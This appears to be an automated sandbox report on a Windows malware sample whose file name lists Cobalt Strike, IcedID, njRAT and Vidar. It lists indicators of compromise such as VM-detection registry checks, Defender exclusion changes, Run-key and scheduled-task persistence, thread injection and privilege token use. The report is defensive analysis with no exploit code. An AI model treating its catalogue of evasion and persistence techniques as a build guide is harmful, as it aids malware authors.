f2e760006ad42d7f41b953c2f3d6059e8d4ae39101ff10b7558c7db0316c2622

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v43.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
42	4380	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4056	powershell.exe
1284	powershell.exe
4492	powershell.exe
4020	powershell.exe
2512	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 4 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v42.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
4020	takeown.exe
4744	icacls.exe
1488	icacls.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 8 IoCs

pid	Process
4788	Win-v42.exe
4796	Win-v43.exe
1600	svchost.exe
3448	svchost.exe
1160	vFFISlhA.exe
4380	cmd.exe
2224	svchost.exe
2604	Win-v41.exe

Modifies file permissions 1 TTPs 3 IoCs

File and Directory Permissions Modification

T1222

pid	Process
4744	icacls.exe
1488	icacls.exe
4020	takeown.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe"	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	api64.ipify.org
18	api64.ipify.org

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4652	powercfg.exe
3524	powercfg.exe
2016	powercfg.exe
1196	powercfg.exe
4460	powercfg.exe
640	powercfg.exe
3452	powercfg.exe

Drops file in System32 directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92	svchost.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\System32\Win-v42.exe	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	svchost.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2448 set thread context of 1600	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	139
PID 2448 set thread context of 3448	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	143
PID 2448 set thread context of 4380	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	145
PID 2448 set thread context of 2224	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	146

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\Win-v41.exe	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2704	cmd.exe
3340	cmd.exe
2892	cmd.exe
3552	cmd.exe
5000	cmd.exe
668	cmd.exe
1580	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
3552	cmd.exe
4144	PING.EXE

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
5000	cmd.exe
668	cmd.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf	wmiprvse.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={C69DDE4B-84DC-4E53-B47E-95AEBE925EE5}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 18 Jul 2026 18:47:26 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "577889346,5804129,17110992,7202269,9179409,24262478,41484365,17110988,7153487,508368333,17962391,17962392,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,7202265,507286179,41816131,20502174,6308191,18407617,39125643,539756558,504928405,504928410,24262477,25036127,24262473,9179410,6104718,9179411,51475283,41185282,39389248,539756557,528570079"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1784449699"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4144	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1276	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4056	powershell.exe
4056	powershell.exe
1284	powershell.exe
1284	powershell.exe
4492	powershell.exe
4492	powershell.exe
4788	Win-v42.exe
4788	Win-v42.exe
4796	Win-v43.exe
4796	Win-v43.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2512	powershell.exe
2512	powershell.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1160	vFFISlhA.exe
1160	vFFISlhA.exe
1160	vFFISlhA.exe
1160	vFFISlhA.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4020	powershell.exe
4020	powershell.exe
4020	powershell.exe
616	winlogon.exe
616	winlogon.exe
2604	Win-v41.exe
2604	Win-v41.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3312	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4056	powershell.exe
Token: SeDebugPrivilege	1284	powershell.exe
Token: SeDebugPrivilege	4492	powershell.exe
Token: SeTakeOwnershipPrivilege	4020	takeown.exe
Token: SeShutdownPrivilege	3452	powercfg.exe
Token: SeCreatePagefilePrivilege	3452	powercfg.exe
Token: SeShutdownPrivilege	4652	powercfg.exe
Token: SeCreatePagefilePrivilege	4652	powercfg.exe
Token: SeShutdownPrivilege	3524	powercfg.exe
Token: SeCreatePagefilePrivilege	3524	powercfg.exe
Token: SeShutdownPrivilege	2016	powercfg.exe
Token: SeCreatePagefilePrivilege	2016	powercfg.exe
Token: SeShutdownPrivilege	1196	powercfg.exe
Token: SeCreatePagefilePrivilege	1196	powercfg.exe
Token: SeShutdownPrivilege	4460	powercfg.exe
Token: SeCreatePagefilePrivilege	4460	powercfg.exe
Token: SeShutdownPrivilege	640	powercfg.exe
Token: SeCreatePagefilePrivilege	640	powercfg.exe
Token: SeShutdownPrivilege	640	powercfg.exe
Token: SeCreatePagefilePrivilege	640	powercfg.exe
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeDebugPrivilege	3448	svchost.exe
Token: SeDebugPrivilege	1160	vFFISlhA.exe
Token: SeLockMemoryPrivilege	4380	cmd.exe
Token: SeLockMemoryPrivilege	4380	cmd.exe
Token: SeDebugPrivilege	4020	powershell.exe
Token: SeDebugPrivilege	4020	powershell.exe
Token: SeDebugPrivilege	616	winlogon.exe
Token: SeAssignPrimaryTokenPrivilege	2500	svchost.exe
Token: SeIncreaseQuotaPrivilege	2500	svchost.exe
Token: SeSecurityPrivilege	2500	svchost.exe
Token: SeTakeOwnershipPrivilege	2500	svchost.exe
Token: SeLoadDriverPrivilege	2500	svchost.exe
Token: SeSystemtimePrivilege	2500	svchost.exe
Token: SeBackupPrivilege	2500	svchost.exe
Token: SeRestorePrivilege	2500	svchost.exe
Token: SeShutdownPrivilege	2500	svchost.exe
Token: SeSystemEnvironmentPrivilege	2500	svchost.exe
Token: SeUndockPrivilege	2500	svchost.exe
Token: SeManageVolumePrivilege	2500	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2500	svchost.exe
Token: SeIncreaseQuotaPrivilege	2500	svchost.exe
Token: SeSecurityPrivilege	2500	svchost.exe
Token: SeTakeOwnershipPrivilege	2500	svchost.exe
Token: SeLoadDriverPrivilege	2500	svchost.exe
Token: SeSystemtimePrivilege	2500	svchost.exe
